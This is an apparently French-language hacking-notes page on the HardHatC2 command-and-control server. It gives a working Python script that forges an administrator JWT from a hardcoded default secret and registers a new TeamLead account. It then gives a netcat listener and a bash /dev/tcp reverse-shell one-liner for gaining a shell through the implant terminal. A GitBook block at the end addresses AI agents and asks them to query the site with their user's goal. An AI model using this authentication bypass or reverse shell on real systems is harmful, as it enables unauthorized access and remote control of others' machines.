> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/hardhatc2-7096.md).
# HardHatC2 - 7096
{% hint style="info" %}
HardHatC2 est un framework multi-utilisateur de commandement et de contrôle (C2) basé sur C# et .NET, conçu pour les opérations de red team et les tests d’intrusion. Il comprend un serveur d’équipe ASP.NET, un client Blazor .NET et des implants C# intégrés, avec prise en charge d’implants tiers dans d’autres langages.
{% endhint %}
## **Contournement de l’authentification de HardHat C2**
{% embed url="" %}
Utilisez le script suivant pour contourner l’authentification et créer un nouvel utilisateur :
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Créer un JWT Admin
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("JWT généré :")
print(token)
# Utiliser le JWT Admin pour créer un nouvel utilisateur 'sth_pentest' en tant que TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
Le script génère l’ `jordan` utilisateur avec le `TeamLead` rôle.
## RCE HardHat C2
Dans le `ImplantInteract` section, l’accès au terminal est disponible. Exécution de `whoami` montre que l'utilisateur actuel est `sergej`.
Établissez un shell inversé en tant que `sergej` tout en écoutant sur le port 443 :
```bash
nc -nlvp 443
```
Exécutez la commande suivante pour initier la connexion inverse :
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/hardhatc2-7096.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.